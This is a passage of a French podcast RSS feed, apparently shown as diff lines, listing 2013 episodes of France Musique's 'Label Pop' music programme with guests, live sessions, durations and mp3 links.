+<description>durée : 01:28:13 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/834589109853884416/12668-09.12.2013-ITEMA_20559449-0.mp3" length="87020512" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-09.12.2013-ITEMA_20559449-0.mp3</guid>
+<pubDate>Mon, 09 Dec 2013 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Catherine,Viale,pour,le,livre,&quot;It's,not,only,rock'n'roll&quot;</itunes:keywords>
+<itunes:subtitle>Catherine Viale pour le livre &quot;It's not only rock'n'roll&quot;</itunes:subtitle>
+<itunes:summary>durée : 01:28:13 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:13</itunes:duration>
+</item>
+<item>
+<title>Régine Chassagne (Arcade Fire)</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:03 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/831987728328429568/12668-02.12.2013-ITEMA_20556447-0.mp3" length="86856672" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-02.12.2013-ITEMA_20556447-0.mp3</guid>
+<pubDate>Mon, 02 Dec 2013 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Régine,Chassagne,(Arcade,Fire)</itunes:keywords>
+<itunes:subtitle>Régine Chassagne (Arcade Fire)</itunes:subtitle>
+<itunes:summary>durée : 01:28:03 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:03</itunes:duration>
+</item>
+<item>
+<title>Silvain Vanot, pour évoquer Bob Dylan et le coffret &quot;Complete Album Collection&quot;</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:17 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/m/media/273073201418.mp3?c=musique&amp;p=Label+pop_12668&amp;l3=20131125&amp;l4=&amp;media_url=http%3A%2F%2Fmedia.radiofrance-podcast.net%2Fpodcast09%2F12668-25.11.2013-ITEMA_20553483-0.mp3" length="87086048" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-25.11.2013-ITEMA_20553483-0.mp3</guid>
+<pubDate>Mon, 25 Nov 2013 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Silvain,Vanot,,pour,évoquer,Bob,Dylan,et,le,coffret,&quot;Complete,Album,Collection&quot;</itunes:keywords>
+<itunes:subtitle>Silvain Vanot, pour évoquer Bob Dylan et le coffret &quot;Complete Album Collection&quot;</itunes:subtitle>
+<itunes:summary>durée : 01:28:17 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:17</itunes:duration>
+</item>
+<item>
+<title>Mathieu Macheret (Cahiers du Cinéma) pour évoquer &quot;Inside Lewyn Davis&quot;, des frères Coen.</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:13 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/m/media/273073201418.mp3?c=musique&amp;p=Label+pop_12668&amp;l3=20131118&amp;l4=&amp;media_url=http%3A%2F%2Fmedia.radiofrance-podcast.net%2Fpodcast09%2F12668-18.11.2013-ITEMA_20550581-0.mp3" length="87020512" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-18.11.2013-ITEMA_20550581-0.mp3</guid>
+<pubDate>Mon, 18 Nov 2013 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Mathieu,Macheret,(Cahiers,du,Cinéma),pour,évoquer,&quot;Inside,Lewyn,Davis&quot;,,des,frères,Coen.</itunes:keywords>
+<itunes:subtitle>Mathieu Macheret (Cahiers du Cinéma) pour évoquer &quot;Inside Lewyn Davis&quot;, des frères Coen.</itunes:subtitle>
+<itunes:summary>durée : 01:28:13 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:13</itunes:duration>
+</item>
+<item>
+<title>David Sanson, commissaire associé de l¿exposition Europunk</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:38 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/m/media/273073201418.mp3?c=musique&amp;p=Label+pop_12668&amp;l3=20131111&amp;l4=&amp;media_url=http%3A%2F%2Fmedia.radiofrance-podcast.net%2Fpodcast09%2F12668-11.11.2013-ITEMA_20547716-0.mp3" length="87430112" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-11.11.2013-ITEMA_20547716-0.mp3</guid>
+<pubDate>Mon, 11 Nov 2013 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>David,Sanson,,commissaire,associé,de,l¿exposition,Europunk</itunes:keywords>
+<itunes:subtitle>David Sanson, commissaire associé de l¿exposition Europunk</itunes:subtitle>
+<itunes:summary>durée : 01:28:38 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:38</itunes:duration>
+</item>
+<item>
+<title>Label Pop : session live avec San Fermin - Invité : J-D. Beauvallet</title>
+<link>http://www.francemusique.fr/emission/label-pop/2013-2014/label-pop-session-live-avec-san-fermin-invite-j-d-beauvallet-11-04-2013-00-00</link>
+<description>durée : 01:28:21 - Label pop - par : Vincent Théval - A quelques jours de la sortie européenne de leur incroyable premier album, les américains San Fermin sont en session exceptionnelle pour Label Pop. Jean-Daniel Beauvallet, rédacteur en chef des Inrockuptibles, vient quant à lui évoquer l'autobiographie de Morrissey, récemment parue en Angleterre, ainsi que la 26ème édition du Festival des Inrocks. - réalisé par : Bruno Riou-Maillard</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/m/media/273073201418.mp3?c=musique&amp;p=Label+pop_12668&amp;l3=20131104&amp;l4=&amp;media_url=http%3A%2F%2Fmedia.radiofrance-podcast.net%2Fpodcast09%2F12668-04.11.2013-ITEMA_20544844-0.mp3" length="87151584" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-04.11.2013-ITEMA_20544844-0.mp3</guid>
+<pubDate>Mon, 04 Nov 2013 22:00:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Label,Pop,:,session,live,avec,San,Fermin,-,Invité,:,J-D.,Beauvallet</itunes:keywords>
+<itunes:subtitle>San Fermin en session</itunes:subtitle>
+<itunes:summary>durée : 01:28:21 - par : Vincent Théval - A quelques jours de la sortie européenne de leur incroyable premier album, les américains San Fermin sont en session exceptionnelle pour Label Pop. Jean-Daniel Beauvallet, rédacteur en chef des Inrockuptibles, vient quant à lui évoquer l'autobiographie de Morrissey, récemment parue en Angleterre, ainsi que la 26ème édition du Festival des Inrocks. - réalisé par : Bruno Riou-Maillard</itunes:summary>
+<itunes:duration>01:28:21</itunes:duration>
+</item>
+<item>
+<title>Bertrand Belin</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:10 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/m/media/273073201418.mp3?c=musique&amp;p=Label+pop_12668&amp;l3=20131028&amp;l4=&amp;media_url=http%3A%2F%2Fmedia.radiofrance-podcast.net%2Fpodcast09%2F12668-28.10.2013-ITEMA_20542016-0.mp3" length="86971360" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-28.10.2013-ITEMA_20542016-0.mp3</guid>
+<pubDate>Mon, 28 Oct 2013 23:59:00 +0100</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Bertrand,Belin</itunes:keywords>
+<itunes:subtitle>Bertrand Belin</itunes:subtitle>
+<itunes:summary>durée : 01:28:10 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:10</itunes:duration>
+</item>
+<item>
+<title>Howard Hugues, chanteur du groupe Coming Soon</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:04 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/m/media/273073201418.mp3?c=musique&amp;p=Label+pop_12668&amp;l3=20131021&amp;l4=&amp;media_url=http%3A%2F%2Fmedia.radiofrance-podcast.net%2Fpodcast09%2F12668-21.10.2013-ITEMA_20539182-0.mp3" length="86873056" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-21.10.2013-ITEMA_20539182-0.mp3</guid>
+<pubDate>Mon, 21 Oct 2013 23:59:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Howard,Hugues,,chanteur,du,groupe,Coming,Soon</itunes:keywords>
+<itunes:subtitle>Howard Hugues, chanteur du groupe Coming Soon</itunes:subtitle>
+<itunes:summary>durée : 01:28:04 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:04</itunes:duration>
+</item>
+<item>
+<title>Label Pop 14.10.2013</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:04 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/m/media/273073201418.mp3?c=musique&amp;p=Label+pop_12668&amp;l3=20131014&amp;l4=&amp;media_url=http%3A%2F%2Fmedia.radiofrance-podcast.net%2Fpodcast09%2F12668-14.10.2013-ITEMA_20536359-0.mp3" length="86873056" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-14.10.2013-ITEMA_20536359-0.mp3</guid>
+<pubDate>Mon, 14 Oct 2013 23:59:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Label,Pop,14.10.2013</itunes:keywords>
+<itunes:subtitle>Émission du 14.10.2013</itunes:subtitle>
+<itunes:summary>durée : 01:28:04 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:04</itunes:duration>
+</item>
+<item>
+<title>Session acoustique de &quot;Of Montreal&quot;</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:05 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/m/media/273073201418.mp3?c=musique&amp;p=Label+pop_12668&amp;l3=20131007&amp;l4=&amp;media_url=http%3A%2F%2Fmedia.radiofrance-podcast.net%2Fpodcast09%2F12668-07.10.2013-ITEMA_20533584-0.mp3" length="86889440" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-07.10.2013-ITEMA_20533584-0.mp3</guid>
+<pubDate>Mon, 07 Oct 2013 23:59:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Session,acoustique,de,&quot;Of,Montreal&quot;</itunes:keywords>
+<itunes:subtitle>Session acoustique de &quot;Of Montreal&quot;</itunes:subtitle>
+<itunes:summary>durée : 01:28:05 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:05</itunes:duration>
+</item>
+<item>
+<title>Label Pop 30.09.2013</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:26 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/m/media/273073201418.mp3?c=musique&amp;p=Label+pop_12668&amp;l3=20130930&amp;l4=&amp;media_url=http%3A%2F%2Fmedia.radiofrance-podcast.net%2Fpodcast09%2F12668-30.09.2013-ITEMA_20530703-0.mp3" length="87233504" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-30.09.2013-ITEMA_20530703-0.mp3</guid>
+<pubDate>Mon, 30 Sep 2013 00:00:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Label,Pop,30.09.2013</itunes:keywords>
+<itunes:subtitle>Émission du 30.09.2013</itunes:subtitle>
+<itunes:summary>durée : 01:28:26 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:26</itunes:duration>
+</item>
+<item>
+<title>Label Pop 23.09.2013</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:09 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/m/media/273073201418.mp3?c=musique&amp;p=Label+pop_12668&amp;l3=20130923&amp;l4=&amp;media_url=http%3A%2F%2Fmedia.radiofrance-podcast.net%2Fpodcast09%2F12668-23.09.2013-ITEMA_20526781-0.mp3" length="86954976" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-23.09.2013-ITEMA_20526781-0.mp3</guid>
+<pubDate>Mon, 23 Sep 2013 00:00:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Label,Pop,23.09.2013</itunes:keywords>
+<itunes:subtitle>Émission du 23.09.2013</itunes:subtitle>
+<itunes:summary>durée : 01:28:09 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:09</itunes:duration>
+</item>
+<item>
+<title>Luke Temple, chanteur américain</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:11 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/m/media/273073201418.mp3?c=musique&amp;p=Label+pop_12668&amp;l3=20130916&amp;l4=&amp;media_url=http%3A%2F%2Fmedia.radiofrance-podcast.net%2Fpodcast09%2F12668-16.09.2013-ITEMA_20523914-0.mp3" length="86987744" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-16.09.2013-ITEMA_20523914-0.mp3</guid>
+<pubDate>Mon, 16 Sep 2013 00:00:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Luke,Temple,,chanteur,américain</itunes:keywords>
+<itunes:subtitle>Luke Temple, chanteur américain</itunes:subtitle>
+<itunes:summary>durée : 01:28:11 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:11</itunes:duration>
+</item>
+<item>
+<title>Label Pop 09.09.2013</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:27:58 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/m/media/273073201418.mp3?c=musique&amp;p=Label+pop_12668&amp;l3=20130909&amp;l4=&amp;media_url=http%3A%2F%2Fmedia.radiofrance-podcast.net%2Fpodcast09%2F12668-09.09.2013-ITEMA_20520636-0.mp3" length="86774752" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-09.09.2013-ITEMA_20520636-0.mp3</guid>
+<pubDate>Mon, 09 Sep 2013 00:00:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Label,Pop,09.09.2013</itunes:keywords>
+<itunes:subtitle>Émission du 09.09.2013</itunes:subtitle>
+<itunes:summary>durée : 01:27:58 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:27:58</itunes:duration>
+</item>
+<item>
+<title>Label Pop 02.09.2013</title>
+<link>http://www.francemusique.fr/emission/label-pop</link>
+<description>durée : 01:28:28 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/m/media/273073201418.mp3?c=musique&amp;p=Label+pop_12668&amp;l3=20130902&amp;l4=&amp;media_url=http%3A%2F%2Fmedia.radiofrance-podcast.net%2Fpodcast09%2F12668-02.09.2013-ITEMA_20517162-0.mp3" length="87266272" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-02.09.2013-ITEMA_20517162-0.mp3</guid>
+<pubDate>Mon, 02 Sep 2013 00:00:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Label,Pop,02.09.2013</itunes:keywords>
+<itunes:subtitle>Émission du 02.09.2013</itunes:subtitle>
+<itunes:summary>durée : 01:28:28 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:28</itunes:duration>
+</item>
+<item>
+<title>Label Pop 01.07.2013</title>
+<link>http://sites.radiofrance.fr/francemusique/em/label-pop/emission.php?e_id=105000065</link>
+<description>durée : 01:28:07 - Label pop - par : Vincent Théval - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/m/media/273073201418.mp3?c=musique&amp;p=Label+pop_12668&amp;l3=20130701&amp;l4=&amp;media_url=http%3A%2F%2Fmedia.radiofrance-podcast.net%2Fpodcast09%2F12668-01.07.2013-ITEMA_20497632-0.mp3" length="86922208" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-01.07.2013-ITEMA_20497632-0.mp3</guid>
+<pubDate>Mon, 01 Jul 2013 00:00:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Label,Pop,01.07.2013</itunes:keywords>
+<itunes:subtitle>Émission du 01.07.2013</itunes:subtitle>
+<itunes:summary>durée : 01:28:07 - par : Vincent Théval - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:07</itunes:duration>
+</item>
+<item>
+<title>Alexandre Breton, programmateur du City Sounds Festival</title>
+<link>http://sites.radiofrance.fr/francemusique/em/label-pop/index.php?e_id=105000065&amp;d_id=515009331</link>
+<description>durée : 01:28:00 - Label pop - par : Vincent Théval - Invité : Alexandre Breton, programmateur du City Sounds Festival (19 et 20 juillet au 104, à Paris)
+
+&amp;amp;quot; Le Festival CITY SOUNDS inaugure sa première édition par un véritable événement: accueillir pendant deux jours, les 19 &amp;amp;amp; 20 juillet au Centquatre (Paris, 19ème), le meilleur de la scène rock indépendante de San Francisco, la Cité aux brumes légendaires! Célébration débridée, déluge sonore, riffs sous amphétamines, fuzz &amp;amp;amp; Larsens en pagaille: le rock'n'roll héritier des psychédéliques sixties est à l'honneur de ce festival pionnier et audacieux.&amp;amp;quot;
+
+ Réédition de la semaine : Nick Drake &amp;amp;quot;Bryter Layter&amp;amp;quot; (1970) - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/m/media/273073201418.mp3?c=musique&amp;p=Label+pop_12668&amp;l3=20130624&amp;l4=&amp;media_url=http%3A%2F%2Fmedia.radiofrance-podcast.net%2Fpodcast09%2F12668-24.06.2013-ITEMA_20494262-0.mp3" length="86807520" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-24.06.2013-ITEMA_20494262-0.mp3</guid>
+<pubDate>Mon, 24 Jun 2013 00:00:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Alexandre,Breton,,programmateur,du,City,Sounds,Festival</itunes:keywords>
+<itunes:subtitle>Émission du 24.06.2013</itunes:subtitle>
+<itunes:summary>durée : 01:28:00 - par : Vincent Théval - Invité : Alexandre Breton, programmateur du City Sounds Festival (19 et 20 juillet au 104, à Paris)
+
+&amp;amp;quot; Le Festival CITY SOUNDS inaugure sa première édition par un véritable événement: accueillir pendant deux jours, les 19 &amp;amp;amp; 20 juillet au Centquatre (Paris, 19ème), le meilleur de la scène rock indépendante de San Francisco, la Cité aux brumes légendaires! Célébration débridée, déluge sonore, riffs sous amphétamines, fuzz &amp;amp;amp; Larsens en pagaille: le rock'n'roll héritier des psychédéliques sixties est à l'honneur de ce festival pionnier et audacieux.&amp;amp;quot;
+
+ Réédition de la semaine : Nick Drake &amp;amp;quot;Bryter Layter&amp;amp;quot; (1970) - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:00</itunes:duration>
+</item>
+<item>
+<title>Tunng en session</title>
+<link>http://sites.radiofrance.fr/francemusique/em/label-pop/index.php?e_id=105000065&amp;d_id=515009220</link>
+<description>durée : 01:27:58 - Label pop - par : Vincent Théval - Tunng en session live
+- 6 titres acoustiques enregistrés le 2 mai 2013 au studio 105
+
+Invité : Nicolas Chapelle (Noise Mag, Les Inrockuptibles) pour évoquer la réédition de la semaine : Scott Walker &amp;amp;quot;Scott – The Collection 1967-1970&amp;amp;quot; - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/m/media/273073201418.mp3?c=musique&amp;p=Label+pop_12668&amp;l3=20130617&amp;l4=&amp;media_url=http%3A%2F%2Fmedia.radiofrance-podcast.net%2Fpodcast09%2F12668-17.06.2013-ITEMA_20491729-0.mp3" length="86774752" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-17.06.2013-ITEMA_20491729-0.mp3</guid>
+<pubDate>Mon, 17 Jun 2013 00:00:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Tunng,en,session</itunes:keywords>
+<itunes:subtitle>Émission du 17.06.2013</itunes:subtitle>
+<itunes:summary>durée : 01:27:58 - par : Vincent Théval - Tunng en session live
+- 6 titres acoustiques enregistrés le 2 mai 2013 au studio 105
+
+Invité : Nicolas Chapelle (Noise Mag, Les Inrockuptibles) pour évoquer la réédition de la semaine : Scott Walker &amp;amp;quot;Scott – The Collection 1967-1970&amp;amp;quot; - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:27:58</itunes:duration>
+</item>
+<item>
+<title>Keaton Henson en session</title>
+<link>http://sites.radiofrance.fr/francemusique/em/label-pop/index.php?e_id=105000065&amp;d_id=515009117</link>
+<description>durée : 01:28:30 - Label pop - par : Vincent Théval - Keaton Henson en session
+
+Invité : Maxime Chamoux pour la suite de la série &amp;amp;quot;work in progress&amp;amp;quot; sur l'élaboration du prochain album de (Please) Don't Blame Mexico.
+
+Réédition de la semaine : Paul McCartney &amp;amp;amp; Wings &amp;amp;quot;Wings Over America&amp;amp;quot; (1976) - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/m/media/273073201418.mp3?c=musique&amp;p=Label+pop_12668&amp;l3=20130610&amp;l4=&amp;media_url=http%3A%2F%2Fmedia.radiofrance-podcast.net%2Fpodcast09%2F12668-10.06.2013-ITEMA_20489313-0.mp3" length="87299040" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-10.06.2013-ITEMA_20489313-0.mp3</guid>
+<pubDate>Mon, 10 Jun 2013 00:00:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Keaton,Henson,en,session</itunes:keywords>
+<itunes:subtitle>Émission du 10.06.2013</itunes:subtitle>
+<itunes:summary>durée : 01:28:30 - par : Vincent Théval - Keaton Henson en session
+
+Invité : Maxime Chamoux pour la suite de la série &amp;amp;quot;work in progress&amp;amp;quot; sur l'élaboration du prochain album de (Please) Don't Blame Mexico.
+
+Réédition de la semaine : Paul McCartney &amp;amp;amp; Wings &amp;amp;quot;Wings Over America&amp;amp;quot; (1976) - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:30</itunes:duration>
+</item>
+<item>
+<title>Christophe Geudin et Olivier Nuc (revue MUZIQ)</title>
+<link>http://sites.radiofrance.fr/francemusique/em/label-pop/index.php?e_id=105000065&amp;d_id=515008969</link>
+<description>durée : 01:28:04 - Label pop - par : Vincent Théval - Les invités de la semaine
+
+ Christophe Geudin (rédacteur en chef de Muziq) et Olivier Nuc (responsable de la rubrique &amp;amp;quot;Musiques actuelles&amp;amp;quot; au Figaro) viennent présenter le premier numéro du bookzine Muziq. En couverture : Neil Young, en tournée en France en juin et en juillet.
+
+
+Réédition de la semaine : Ane Brun &amp;amp;quot;Songs, 2003-2013&amp;amp;quot; - réalisé par : Sylvie Migault</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/m/media/273073201418.mp3?c=musique&amp;p=Label+pop_12668&amp;l3=20130603&amp;l4=&amp;media_url=http%3A%2F%2Fmedia.radiofrance-podcast.net%2Fpodcast09%2F12668-03.06.2013-ITEMA_20486929-0.mp3" length="86873056" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-03.06.2013-ITEMA_20486929-0.mp3</guid>
+<pubDate>Mon, 03 Jun 2013 00:00:00 +0200</pubDate>
+<podcastRF:businessReference>19555</podcastRF:businessReference><itunes:author>Vincent Théval</itunes:author>
+<itunes:explicit>no</itunes:explicit>
+<itunes:keywords>Christophe,Geudin,et,Olivier,Nuc,(revue,MUZIQ)</itunes:keywords>
+<itunes:subtitle>Label Pop 03/06/13</itunes:subtitle>
+<itunes:summary>durée : 01:28:04 - par : Vincent Théval - Les invités de la semaine
+
+ Christophe Geudin (rédacteur en chef de Muziq) et Olivier Nuc (responsable de la rubrique &amp;amp;quot;Musiques actuelles&amp;amp;quot; au Figaro) viennent présenter le premier numéro du bookzine Muziq. En couverture : Neil Young, en tournée en France en juin et en juillet.
+
+
+Réédition de la semaine : Ane Brun &amp;amp;quot;Songs, 2003-2013&amp;amp;quot; - réalisé par : Sylvie Migault</itunes:summary>
+<itunes:duration>01:28:04</itunes:duration>
+</item>
+<item>
+<title>House Of Wolves en session</title>
+<link>http://sites.radiofrance.fr/francemusique/em/label-pop/index.php?e_id=105000065&amp;d_id=515008862</link>
+<description>durée : 01:28:18 - Label pop - par : Vincent Théval - Spéciale Los Angeles
+
+- Entretien avec Eleonore Klar, rédactrice en chef du magazine I Heart
+
+- Réédition de la semaine : The Byrds &amp;amp;quot;There Is A Season&amp;amp;quot;
+
+- Session acoustique de House Of Wolves
+
+&amp;amp;quot;Trois ans après leur enregistrement à Portland (Oregon), les chansons du Californien Rey Villalobos sortent aujourd'hui du cercle des initiés, à la faveur de l'édition européenne du premier album de House Of Wolves. Saisissant coup d'essai, Fold In The Wind décline onze mélodies poignantes et délicates, portées par une voix unique, réminiscence androgyne d'Elliott Smith. L'une des révélations de l'année.&amp;amp;quot;
+
+Vincent Théval
+
+ - réalisé par : Sylvain Richard</description>
+<author>podcast@radiofrance.com</author>
+<category >Music </category>
+<enclosure url="http://rf.proxycast.org/m/media/273073201418.mp3?c=musique&amp;p=Label+pop_12668&amp;l3=20130527&amp;l4=&amp;media_url=http%3A%2F%2Fmedia.radiofrance-podcast.net%2Fpodcast09%2F12668-27.05.2013-ITEMA_20484547-0.mp3" length="87102432" type="audio/mpeg" />
+<guid >http://media.radiofrance-podcast.net/podcast09/12668-27.05.2013-ITEMA_20484547-0.mp3</guid>
